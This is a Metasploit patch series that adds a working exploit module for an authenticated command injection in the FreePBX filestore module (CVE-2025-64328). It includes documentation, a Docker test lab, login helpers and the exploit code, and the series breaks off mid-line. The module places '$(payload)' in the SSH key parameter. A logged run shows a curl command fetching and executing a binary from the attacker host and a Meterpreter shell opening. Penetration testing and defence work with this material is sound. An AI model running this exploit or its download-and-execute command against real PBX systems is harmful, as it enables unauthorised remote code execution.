From ee7674eb71c31a75cf9279772817feee9a534925 Mon Sep 17 00:00:00 2001 From: Valentin Lobstein Date: Sun, 23 Nov 2025 00:36:21 +0100 Subject: [PATCH 1/7] Add authenticated RCE module for FreePBX filestore (CVE-2025-64328) --- .../http/freepbx_filestore_cmd_injection.md | 206 ++++++++++++++++++ ...xorcom_complete_pbx.rb => complete_pbx.rb} | 2 +- lib/msf/core/exploit/remote/http/freepbx.rb | 82 +++++++ lib/msf_autoload.rb | 2 + ...orcom_completepbx_diagnostics_file_read.rb | 2 +- .../xorcom_completepbx_file_disclosure.rb | 2 +- .../http/xorcom_completepbx_scheduler.rb | 2 +- .../http/freepbx_filestore_cmd_injection.rb | 168 ++++++++++++++ 8 files changed, 462 insertions(+), 4 deletions(-) create mode 100644 documentation/modules/exploit/unix/http/freepbx_filestore_cmd_injection.md rename lib/msf/core/exploit/remote/http/{xorcom_complete_pbx.rb => complete_pbx.rb} (98%) create mode 100644 lib/msf/core/exploit/remote/http/freepbx.rb create mode 100644 modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb diff --git a/documentation/modules/exploit/unix/http/freepbx_filestore_cmd_injection.md b/documentation/modules/exploit/unix/http/freepbx_filestore_cmd_injection.md new file mode 100644 index 0000000000000..77bcd714b1ea8 --- /dev/null +++ b/documentation/modules/exploit/unix/http/freepbx_filestore_cmd_injection.md @@ -0,0 +1,206 @@ +## Vulnerable Application + +FreePBX is an open-source web-based graphical user interface for managing Asterisk. This module exploits an authenticated command injection +vulnerability (CVE-2025-64328) in the FreePBX filestore module. + +The vulnerability exists in the SSH driver's testconnection functionality, specifically in the `check_ssh_connect()` function located at +`/admin/modules/filestore/drivers/SSH/testconnection.php`. The function accepts user-controlled input for the SSH key path parameter, which +is then passed unsanitized to `exec()` calls when generating SSH keys. + +By injecting shell command substitution syntax (e.g., `$(command)`) into the key parameter, an authenticated user can execute arbitrary +commands on the underlying system with the privileges of the web server process (typically the asterisk user). + +This vulnerability affects filestore module versions 17.0.2.36 through 17.0.2.44 (introduced in 17.0.2.36, patched in 17.0.3). The module +requires valid FreePBX credentials for a user account that has access to the filestore module. The user must be in the "Filestore" group +(administrator or low-privilege user). + +## Vulnerability Analysis + +The vulnerability was introduced in filestore module version 17.0.2.36 when the `testconnection.php` file was first added to provide +SSH connection testing functionality (commit: e4ec96ab - "Filestore: Add Connection testing"). The initial implementation contained +multiple `exec()` calls that used user-controlled input without proper sanitization: + +1. **Line 9**: `exec("ssh-keygen -t ecdsa -b 521 -f $key -N \"\" && chown asterisk:asterisk $key && chmod 600 $key");` + - The `$key` parameter is directly interpolated into the command string without sanitization. + +2. **Line 12**: `exec("ssh-keygen -y -f $key > $publickey");` + - The `$key` parameter is again used without sanitization, causing the injected command to execute a second time. + +Due to this code structure, the injected command is executed multiple times within the `check_ssh_connect()` function, potentially +resulting in multiple Meterpreter sessions being opened. + +The fix was implemented in version 17.0.3, which added comprehensive input validation and sanitization functions +(`validate_and_sanitize_key()`, `validate_and_sanitize_host()`, `validate_and_sanitize_user()`, `validate_and_sanitize_path()`) and used +`escapeshellarg()` for all parameters passed to `exec()`. + +The following FreePBX version has been tested: + +- FreePBX 17 with filestore module 17.0.2.44 + +## Testing + +To set up a test environment using Docker: + +1. Create a `docker-compose.yml` file with the following content: +```yaml +services: + mariadb: + image: mariadb:10.11 + container_name: freepbx-db + restart: unless-stopped + environment: + MYSQL_ROOT_PASSWORD: changeme-root + MYSQL_DATABASE: asterisk + MYSQL_USER: freepbx + MYSQL_PASSWORD: changeme-db + volumes: + - db-data:/var/lib/mysql + networks: + - freepbx-net + + freepbx: + build: + context: . + dockerfile: Dockerfile + container_name: freepbx-app + depends_on: + - mariadb + restart: unless-stopped + ports: + - "18080:80" + - "18443:443" + - "5060:5060/udp" + environment: + MYSQL_ROOT_PASSWORD: changeme-root + MYSQL_DATABASE: asterisk + MYSQL_USER: freepbx + MYSQL_PASSWORD: changeme-db + MYSQL_HOST: mariadb + FILESTORE_VERSION: 17.0.2.44 + LOWPRIV_USER: lowpriv + LOWPRIV_PASS: lowpriv123 + volumes: + - freepbx-data:/var + - freepbx-log:/var/log + cap_add: + - NET_ADMIN + networks: + - freepbx-net + +volumes: + db-data: + freepbx-data: + freepbx-log: + +networks: + freepbx-net: + driver: bridge +``` + +2. Create a `Dockerfile`: +```dockerfile +FROM escomputers/freepbx:17 + +COPY entrypoint.sh /usr/local/bin/entrypoint.sh +RUN chmod +x /usr/local/bin/entrypoint.sh + +RUN mkdir -p /var/www/html/admin/assets/less/cache && chown -R asterisk:asterisk /var/www/html/admin/assets/less/cache && chmod -R 777 /var/www/html/admin/assets/less/cache || true + +ENTRYPOINT ["/usr/local/bin/entrypoint.sh"] +``` + +3. Create an `entrypoint.sh` script: +```bash +#!/bin/bash +DB_HOST=${MYSQL_HOST:-mariadb} +DB_USER=${MYSQL_USER:-freepbx} +DB_PASS=${MYSQL_PASSWORD:-changeme-db} +DB_NAME=${MYSQL_DATABASE:-asterisk} +FILESTORE_VERSION=${FILESTORE_VERSION:-17.0.2.44} +LOWPRIV_USER=${LOWPRIV_USER:-lowpriv} +LOWPRIV_PASS=${LOWPRIV_PASS:-lowpriv123} +( + for i in {1..60}; do + mysqladmin ping -h $DB_HOST -u $DB_USER -p$DB_PASS --silent 2>/dev/null && break + sleep 2 + done + for i in {1..120}; do + asterisk -rx "core show version" >/dev/null 2>&1 && break + sleep 2 + done + [ ! -f /etc/freepbx.conf ] && cd /usr/local/src/freepbx && php install -n --dbuser=$DB_USER --dbpass=$DB_PASS --dbhost=$DB_HOST >/dev/null 2>&1 + for i in {1..60}; do + command -v fwconsole >/dev/null 2>&1 && fwconsole ma list >/dev/null 2>&1 && break + sleep 5 + done + fwconsole ma list 2>/dev/null | grep -q "filestore.*$FILESTORE_VERSION" || (fwconsole ma downloadinstall filestore --tag=$FILESTORE_VERSION --force >/dev/null 2>&1; fwconsole ma enable filestore >/dev/null 2>&1) + fwconsole ma list 2>/dev/null | grep -q "userman" || (fwconsole ma downloadinstall userman >/dev/null 2>&1; fwconsole ma enable userman >/dev/null 2>&1) + sleep 10 + mysql -h $DB_HOST -u $DB_USER -p$DB_PASS $DB_NAME -e "INSERT IGNORE INTO ampusers (username, password_sha1, sections) VALUES ('$LOWPRIV_USER', SHA1('$LOWPRIV_PASS'), 'filestore');" >/dev/null 2>&1 +) & +exec /usr/bin/env bash /usr/local/src/entrypoint.sh "$@" +``` + +Make sure to make the script executable: `chmod +x entrypoint.sh` + +4. Run `docker compose up -d` to start the environment. + +5. Access the FreePBX web interface at `http://localhost:18080/admin/config.php` and complete the initial setup to create an admin user. + +6. Follow the verification steps below. + +## Options + +### USERNAME + +The FreePBX username. This can be a low-privilege user, but the user must be in the "Filestore" group to have access to the filestore +module. Default: `admin` + +### PASSWORD + +The FreePBX password. This must be set to a valid password. + +## Verification Steps + +1. Start msfconsole +2. `use exploit/unix/http/freepbx_filestore_cmd_injection` +3. `set RHOSTS ` +4. `set RPORT ` (default: 80) +5. `set USERNAME ` +6. `set PASSWORD ` +7. `set LHOST ` +8. `run` + +## Scenarios + +### Using a Low-Privilege User + +The module works with low-privilege users that are in the "Filestore" group and have access to the filestore module: + +``` +msf exploit(unix/http/freepbx_filestore_cmd_injection) > run +[*] Command to run on remote host: curl -so ./MscaNzRKZxn http://172.24.0.1:8080/a_wPTF3QFDQmW1loFQm32w;chmod +x ./MscaNzRKZxn;./MscaNzRKZxn& +[*] Fetch handler listening on 172.24.0.1:8080 +[*] HTTP server started +[*] Adding resource /a_wPTF3QFDQmW1loFQm32w +[*] Started reverse TCP handler on 172.24.0.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Vulnerable filestore version 17.0.2.44 detected +[*] Filestore module version: 17.0.2.44 +[*] Client 172.24.0.3 requested /a_wPTF3QFDQmW1loFQm32w +[*] Sending payload to 172.24.0.3 (curl/7.88.1) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3090404 bytes) to 172.24.0.3 +[*] Meterpreter session 20 opened (172.24.0.1:4444 -> 172.24.0.3:59384) at 2025-11-23 00:26:55 +0100 + +meterpreter > sysinfo +Computer : 172.24.0.3 +OS : Debian 12.12 (Linux 6.14.0-115036-tuxedo) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > getuid +Server username: asterisk +meterpreter > +``` + diff --git a/lib/msf/core/exploit/remote/http/xorcom_complete_pbx.rb b/lib/msf/core/exploit/remote/http/complete_pbx.rb similarity index 98% rename from lib/msf/core/exploit/remote/http/xorcom_complete_pbx.rb rename to lib/msf/core/exploit/remote/http/complete_pbx.rb index adac9295f3c8d..9ab8f3c271db1 100644 --- a/lib/msf/core/exploit/remote/http/xorcom_complete_pbx.rb +++ b/lib/msf/core/exploit/remote/http/complete_pbx.rb @@ -7,7 +7,7 @@ module HTTP # # Shared routines for Xorcom CompletePBX modules # - module XorcomCompletePbx + module CompletePBX # Probe root page and return appropriate CheckCode # @return [Msf::Exploit::CheckCode] def completepbx? diff --git a/lib/msf/core/exploit/remote/http/freepbx.rb b/lib/msf/core/exploit/remote/http/freepbx.rb new file mode 100644 index 0000000000000..7d3f5d1e44081 --- /dev/null +++ b/lib/msf/core/exploit/remote/http/freepbx.rb @@ -0,0 +1,82 @@ +# -*- coding: binary -*- + +module Msf + class Exploit + class Remote + module HTTP + # + # Shared routines for FreePBX modules + # + module FreePBX + # Get the Referer header for FreePBX requests + # + # @return [String] Referer URL + # + def freepbx_referer + host = datastore['RHOSTS'] || rhost + host = '127.0.0.1' if host == '::1' || host == 'localhost' + "http#{datastore['SSL'] ? 's' : ''}://#{host}:#{rport}#{normalize_uri(target_uri.path, 'admin', 'config.php')}" + end + + # Authenticate with supplied credentials and return the session cookie. + # + # @param username [String] FreePBX username + # @param password [String] FreePBX password + # @param timeout [Integer] The maximum number of seconds to wait before the request times out + # @return [String,nil] the session cookies as a single string on successful login, nil otherwise + # + def freepbx_login(username, password, timeout = 20) + # Get initial session and login page + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'admin', 'config.php'), + 'method' => 'GET', + 'headers' => { 'Referer' => freepbx_referer } + }, timeout) + + return nil unless res + + # Extract session cookie + cookie = res.get_cookies + return nil if cookie.empty? + + # Extract CSRF token if present + token = nil + if res.body =~ /name="token"\s+value="([^"]+)"/ + token = Regexp.last_match(1) + end + + # Login POST + post_data = { + 'username' => username, + 'password' => password + } + post_data['token'] = token if token + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'admin', 'config.php'), + 'method' => 'POST', + 'cookie' => cookie, + 'headers' => { + 'Referer' => freepbx_referer, + 'Content-Type' => 'application/x-www-form-urlencoded' + }, + 'vars_post' => post_data + }, timeout) + + return nil unless res + + if res.code == 302 || (res.code == 200 && !res.body.include?('Login')) + new_cookie = res.get_cookies + + return new_cookie unless new_cookie.empty? + + return cookie + end + + nil + end + end + end + end + end +end diff --git a/lib/msf_autoload.rb b/lib/msf_autoload.rb index 9509f949236d8..65e4211a3936b 100644 --- a/lib/msf_autoload.rb +++ b/lib/msf_autoload.rb @@ -306,6 +306,8 @@ def custom_inflections 'pfsense' => 'PfSense', 'opnsense' => 'OPNSense', 'pgadmin' => 'PgAdmin', + 'freepbx' => 'FreePBX', + 'complete_pbx' => 'CompletePBX' } end diff --git a/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb b/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb index 1f8feada01376..9a8394c27613c 100644 --- a/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb +++ b/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb @@ -5,7 +5,7 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::Remote::HTTP::XorcomCompletePbx + include Msf::Exploit::Remote::HTTP::CompletePBX prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) diff --git a/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.rb b/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.rb index 1128ada69f26d..4cc54f0d80db2 100644 --- a/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.rb +++ b/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.rb @@ -5,7 +5,7 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::Remote::HTTP::XorcomCompletePbx + include Msf::Exploit::Remote::HTTP::CompletePBX prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) diff --git a/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb b/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb index fe19e6231ca3e..fab55b364dbae 100644 --- a/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb +++ b/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb @@ -7,7 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::Remote::HTTP::XorcomCompletePbx + include Msf::Exploit::Remote::HTTP::CompletePBX prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) diff --git a/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb b/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb new file mode 100644 index 0000000000000..996a4f1c64845 --- /dev/null +++ b/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb @@ -0,0 +1,168 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::FreePBX + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'FreePBX filestore authenticated command injection', + 'Description' => %q{ + This module exploits an authenticated command injection vulnerability (CVE-2025-64328) in the + FreePBX filestore module. The filestore module allows administrators to configure remote file + storage backends (SSH, FTP, etc.) for backup and file management purposes. + + The vulnerability exists in the SSH driver's testconnection functionality, specifically in the + check_ssh_connect() function located at /admin/modules/filestore/drivers/SSH/testconnection.php. + The function accepts user-controlled input for the SSH key path parameter, which is then passed + unsanitized to exec() calls when generating SSH keys. + + The vulnerable code executes commands such as: + exec("ssh-keygen -t ecdsa -b 521 -f $key -N \"\" && chown asterisk:asterisk $key && chmod 600 $key"); + + By injecting shell command substitution syntax (e.g., $(command)) into the key parameter, an + authenticated user can execute arbitrary commands on the underlying system with the privileges of + the web server process (typically the asterisk user). + + This vulnerability affects filestore module versions 17.0.2.36 through 17.0.2.44 (introduced in + 17.0.2.36, patched in 17.0.3). The module requires valid FreePBX credentials for a user account that + has access to the filestore module. The user must be in the "Filestore" group (administrator or + low-privilege user). + + Note: Due to the vulnerable code structure, the injected command may be executed multiple times, + potentially resulting in multiple Meterpreter sessions. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Cory Billington', # Vulnerability discovery + 'Valentin Lobstein ' # Metasploit module + ], + 'References' => [ + ['CVE', '2025-64328'], + ['URL', 'https://github.com/FreePBX/security-reporting/security/advisories/GHSA-vm9p-46mv-5xvw'], + ['URL', 'https://theyhack.me/CVE-2025-64328-FreePBX-Authenticated-Command-Injection/'] + ], + 'Platform' => %w[unix linux], + 'Arch' => ARCH_CMD, + 'Targets' => [ + [ + 'Unix Command', + { + 'Platform' => %w[unix linux], + 'Arch' => ARCH_CMD + # tested with cmd/linux/http/x64/meterpreter/reverse_tcp + } + ] + ], + 'Privileged' => false, + 'DisclosureDate' => '2025-11-08', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] + } + ) + ) + + register_options( + [ + OptString.new('TARGETURI', [false, 'The URI for the FreePBX installation', '/']), + OptString.new('USERNAME', [true, 'FreePBX username (must be in the "Filestore" group)', 'admin']), + OptString.new('PASSWORD', [true, 'FreePBX admin password', '']) + ] + ) + end + + def check + cookie = freepbx_login(datastore['USERNAME'], datastore['PASSWORD']) + return CheckCode::Unknown('Authentication failed') unless cookie + + # Try to get filestore version + version = get_filestore_version + return CheckCode::Appears('Filestore module is accessible') unless version + + # Version 17.0.3 and above are patched + return CheckCode::Safe("Patched filestore version #{version} detected") unless Rex::Version.new(version) < Rex::Version.new('17.0.3') + + # Version 17.0.2.36 is the first vulnerable version (file was introduced in this version) + if Rex::Version.new(version) < Rex::Version.new('17.0.2.36') + return CheckCode::Safe("Filestore version #{version} is not vulnerable (vulnerability introduced in 17.0.2.36)") + end + + CheckCode::Appears("Vulnerable filestore version #{version} detected") + end + + def authenticate + @cookie ||= freepbx_login(datastore['USERNAME'], datastore['PASSWORD']) + fail_with(Failure::NoAccess, 'Authentication failed') unless @cookie + @cookie + end + + def get_filestore_version + authenticate unless @cookie + + # Get version from the filestore page HTML (JavaScript includes version) + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'admin', 'config.php'), + 'cookie' => @cookie, + 'headers' => { 'Referer' => freepbx_referer }, + 'vars_get' => { + 'display' => 'filestore' + } + ) + + return nil unless res&.code == 200 + + # Extract version from JavaScript file reference: filesystem.js?load_version=17.0.2.44 + return nil unless res.body =~ /filesystem\.js\?load_version=(\d+\.\d+\.\d+\.\d+)/ + + (version = Regexp.last_match(1)) =~ /^\d+\.\d+\.\d+\.\d+$/ ? version : nil + end + + def send_filestore_request(vars_post = {}) + cookie = authenticate + + send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'), + 'cookie' => cookie, + 'headers' => { + 'Referer' => freepbx_referer, + 'Content-Type' => 'application/x-www-form-urlencoded' + }, + 'vars_get' => { + 'module' => 'filestore', + 'command' => 'testconnection', + 'driver' => 'SSH' + }, + 'vars_post' => vars_post + ) + end + + def execute_command(cmd, _opts = {}) + send_filestore_request( + 'host' => "#{rand(1..255)}.#{rand(1..255)}.#{rand(1..255)}.#{rand(1..255)}", + 'port' => rand(1024..65535).to_s, + 'user' => Rex::Text.rand_text_alphanumeric(8), + 'key' => "$(#{cmd})", + 'path' => "/#{Rex::Text.rand_text_alphanumeric(8)}" + ) + end + + def exploit + authenticate + version = get_filestore_version + vprint_status("Filestore module version: #{version}") if version + execute_command(payload.encoded) + end +end From b004caac972836efaf5e5733a11db4d18168c252 Mon Sep 17 00:00:00 2001 From: Valentin Lobstein Date: Sun, 23 Nov 2025 05:43:10 +0100 Subject: [PATCH 2/7] Simplify version extraction: use match directly and remove redundant regex validation --- .../exploits/unix/http/freepbx_filestore_cmd_injection.rb | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb b/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb index 996a4f1c64845..45f8183dcbea1 100644 --- a/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb +++ b/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb @@ -124,9 +124,8 @@ def get_filestore_version return nil unless res&.code == 200 # Extract version from JavaScript file reference: filesystem.js?load_version=17.0.2.44 - return nil unless res.body =~ /filesystem\.js\?load_version=(\d+\.\d+\.\d+\.\d+)/ - - (version = Regexp.last_match(1)) =~ /^\d+\.\d+\.\d+\.\d+$/ ? version : nil + match = res.body.match(/filesystem\.js\?load_version=(\d+\.\d+\.\d+\.\d+)/) + match ? match[1] : nil end def send_filestore_request(vars_post = {}) From 4e8ee8de69f46ce4544f63cd65f51a98774c1496 Mon Sep 17 00:00:00 2001 From: Valentin Lobstein <88535377+Chocapikk@users.noreply.github.com> Date: Sun, 23 Nov 2025 21:00:06 +0100 Subject: [PATCH 3/7] Update modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb Co-authored-by: msutovsky-r7 --- modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb b/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb index 45f8183dcbea1..f2d4796e6107c 100644 --- a/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb +++ b/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb @@ -94,9 +94,7 @@ def check return CheckCode::Safe("Patched filestore version #{version} detected") unless Rex::Version.new(version) < Rex::Version.new('17.0.3') # Version 17.0.2.36 is the first vulnerable version (file was introduced in this version) - if Rex::Version.new(version) < Rex::Version.new('17.0.2.36') - return CheckCode::Safe("Filestore version #{version} is not vulnerable (vulnerability introduced in 17.0.2.36)") - end + return CheckCode::Safe("Filestore version #{version} is not vulnerable (vulnerability introduced in 17.0.2.36)") if Rex::Version.new(version) < Rex::Version.new('17.0.2.36') CheckCode::Appears("Vulnerable filestore version #{version} detected") end From 8d0fa21b964d56d7373beb299f3593070f8fb3b3 Mon Sep 17 00:00:00 2001 From: Valentin Lobstein <88535377+Chocapikk@users.noreply.github.com> Date: Sun, 23 Nov 2025 21:00:13 +0100 Subject: [PATCH 4/7] Update modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb Co-authored-by: msutovsky-r7 --- modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb b/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb index f2d4796e6107c..3a039e8825da9 100644 --- a/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb +++ b/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb @@ -123,7 +123,8 @@ def get_filestore_version # Extract version from JavaScript file reference: filesystem.js?load_version=17.0.2.44 match = res.body.match(/filesystem\.js\?load_version=(\d+\.\d+\.\d+\.\d+)/) - match ? match[1] : nil + return nil unless + match[1] end def send_filestore_request(vars_post = {}) From 559a6661e59a437b65041916ffa3073dd8002266 Mon Sep 17 00:00:00 2001 From: Valentin Lobstein Date: Sun, 23 Nov 2025 22:14:37 +0100 Subject: [PATCH 5/7] Optimize FreePBX module: cache auth/version, reduce verbosity, inline single-use functions --- lib/msf/core/exploit/remote/http/freepbx.rb | 96 ++++++++++++------- .../http/freepbx_filestore_cmd_injection.rb | 86 +++++++++-------- 2 files changed, 110 insertions(+), 72 deletions(-) diff --git a/lib/msf/core/exploit/remote/http/freepbx.rb b/lib/msf/core/exploit/remote/http/freepbx.rb index 7d3f5d1e44081..e687892e49bb2 100644 --- a/lib/msf/core/exploit/remote/http/freepbx.rb +++ b/lib/msf/core/exploit/remote/http/freepbx.rb @@ -8,6 +8,14 @@ module HTTP # Shared routines for FreePBX modules # module FreePBX + # Get the admin config URI + # + # @return [String] Admin config URI path + # + def freepbx_admin_uri + normalize_uri(target_uri.path, 'admin', 'config.php') + end + # Get the Referer header for FreePBX requests # # @return [String] Referer URL @@ -15,10 +23,11 @@ module FreePBX def freepbx_referer host = datastore['RHOSTS'] || rhost host = '127.0.0.1' if host == '::1' || host == 'localhost' - "http#{datastore['SSL'] ? 's' : ''}://#{host}:#{rport}#{normalize_uri(target_uri.path, 'admin', 'config.php')}" + protocol = datastore['SSL'] ? 'https' : 'http' + "#{protocol}://#{host}:#{rport}#{freepbx_admin_uri}" end - # Authenticate with supplied credentials and return the session cookie. + # Authenticate with supplied credentials and return the session cookie # # @param username [String] FreePBX username # @param password [String] FreePBX password @@ -26,54 +35,77 @@ def freepbx_referer # @return [String,nil] the session cookies as a single string on successful login, nil otherwise # def freepbx_login(username, password, timeout = 20) - # Get initial session and login page - res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, 'admin', 'config.php'), - 'method' => 'GET', - 'headers' => { 'Referer' => freepbx_referer } - }, timeout) + cache_key = "#{username}:#{password}" + if @freepbx_auth_cache && @freepbx_auth_cache[cache_key] + return @freepbx_auth_cache[cache_key] + end + data = freepbx_get_login_page_data(timeout) + res = data[:response] return nil unless res - # Extract session cookie cookie = res.get_cookies return nil if cookie.empty? - # Extract CSRF token if present - token = nil - if res.body =~ /name="token"\s+value="([^"]+)"/ - token = Regexp.last_match(1) - end - - # Login POST - post_data = { - 'username' => username, - 'password' => password - } - post_data['token'] = token if token - - res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, 'admin', 'config.php'), + login_response = send_request_cgi({ + 'uri' => freepbx_admin_uri, 'method' => 'POST', 'cookie' => cookie, 'headers' => { 'Referer' => freepbx_referer, 'Content-Type' => 'application/x-www-form-urlencoded' }, - 'vars_post' => post_data + 'vars_post' => { + 'username' => username, + 'password' => password + } }, timeout) - return nil unless res + return nil unless login_response - if res.code == 302 || (res.code == 200 && !res.body.include?('Login')) - new_cookie = res.get_cookies + body_lower = login_response.body.downcase + if body_lower.include?('invalid username or password') && body_lower.include?('obe_error') + @freepbx_auth_cache ||= {} + @freepbx_auth_cache[cache_key] = :auth_failed + return :auth_failed + end - return new_cookie unless new_cookie.empty? + return nil unless login_response.code == 302 || (login_response.code == 200 && !login_response.body.include?('Login')) - return cookie - end + new_cookie = login_response.get_cookies + result = new_cookie.empty? ? cookie : new_cookie + @freepbx_auth_cache ||= {} + @freepbx_auth_cache[cache_key] = result + result + end + + # Get or create the login page data + # + # @param timeout [Integer] Request timeout + # @return [Hash] Hash with :response and :detected keys + # + def freepbx_get_login_page_data(timeout = 20) + return @freepbx_login_page if @freepbx_login_page - nil + res = send_request_cgi({ + 'uri' => freepbx_admin_uri, + 'method' => 'GET', + 'headers' => { 'Referer' => freepbx_referer } + }, timeout) + + body_lower = res&.body&.downcase || '' + detected = (res&.code == 200) && ( + body_lower.match?(%r{freepbx\s+administration}) || + (body_lower.include?('freepbx administration') && body_lower.include?('loginform')) || + body_lower.include?('assets/js/freepbx.js') || + body_lower.include?('freepbx-navbar') || + (body_lower.match?(/id=["']loginform["']/) && body_lower.include?('freepbx')) + ) + + @freepbx_login_page = { + response: res, + detected: detected + } end end end diff --git a/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb b/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb index 3a039e8825da9..53f1700e2b464 100644 --- a/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb +++ b/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb @@ -83,36 +83,49 @@ def initialize(info = {}) end def check - cookie = freepbx_login(datastore['USERNAME'], datastore['PASSWORD']) - return CheckCode::Unknown('Authentication failed') unless cookie + data = freepbx_get_login_page_data + unless data[:detected] + vprint_status('Target does not appear to be FreePBX') + return CheckCode::Safe('Not FreePBX') + end - # Try to get filestore version - version = get_filestore_version - return CheckCode::Appears('Filestore module is accessible') unless version + cookie = authenticate + return CheckCode::Detected('Invalid credentials') if cookie == :auth_failed + return CheckCode::Safe('Not FreePBX') if cookie.nil? - # Version 17.0.3 and above are patched - return CheckCode::Safe("Patched filestore version #{version} detected") unless Rex::Version.new(version) < Rex::Version.new('17.0.3') + version = get_filestore_version_cached(cookie) + return CheckCode::Detected('Filestore module version could not be determined') unless version - # Version 17.0.2.36 is the first vulnerable version (file was introduced in this version) - return CheckCode::Safe("Filestore version #{version} is not vulnerable (vulnerability introduced in 17.0.2.36)") if Rex::Version.new(version) < Rex::Version.new('17.0.2.36') + version_obj = Rex::Version.new(version) + return CheckCode::Safe("Filestore module patched (version #{version})") if version_obj >= Rex::Version.new('17.0.3') + return CheckCode::Safe("Filestore module version #{version} not vulnerable") if version_obj < Rex::Version.new('17.0.2.36') - CheckCode::Appears("Vulnerable filestore version #{version} detected") + CheckCode::Appears("Filestore module vulnerable (version #{version})") + end + + def exploit + cookie = authenticate + fail_with(Failure::NoAccess, 'Invalid credentials') if cookie == :auth_failed + fail_with(Failure::Unknown, 'Connection error') if cookie.nil? + + get_filestore_version_cached(cookie) + execute_command(payload.encoded, { cookie: cookie }) end def authenticate - @cookie ||= freepbx_login(datastore['USERNAME'], datastore['PASSWORD']) - fail_with(Failure::NoAccess, 'Authentication failed') unless @cookie - @cookie + data = freepbx_get_login_page_data + return nil unless data[:detected] + + freepbx_login(datastore['USERNAME'], datastore['PASSWORD']) end - def get_filestore_version - authenticate unless @cookie + def get_filestore_version_cached(cookie) + return @filestore_version if @filestore_version - # Get version from the filestore page HTML (JavaScript includes version) res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'admin', 'config.php'), - 'cookie' => @cookie, + 'cookie' => cookie, 'headers' => { 'Referer' => freepbx_referer }, 'vars_get' => { 'display' => 'filestore' @@ -121,14 +134,18 @@ def get_filestore_version return nil unless res&.code == 200 - # Extract version from JavaScript file reference: filesystem.js?load_version=17.0.2.44 match = res.body.match(/filesystem\.js\?load_version=(\d+\.\d+\.\d+\.\d+)/) - return nil unless - match[1] + return nil unless match + + version = match[1] + vprint_status("Filestore module version: #{version}") + @filestore_version = version + version end - def send_filestore_request(vars_post = {}) - cookie = authenticate + def execute_command(cmd, opts = {}) + cookie = opts[:cookie] + fail_with(Failure::BadConfig, 'Missing authentication cookie') unless cookie send_request_cgi( 'method' => 'POST', @@ -143,24 +160,13 @@ def send_filestore_request(vars_post = {}) 'command' => 'testconnection', 'driver' => 'SSH' }, - 'vars_post' => vars_post - ) - end - - def execute_command(cmd, _opts = {}) - send_filestore_request( - 'host' => "#{rand(1..255)}.#{rand(1..255)}.#{rand(1..255)}.#{rand(1..255)}", - 'port' => rand(1024..65535).to_s, - 'user' => 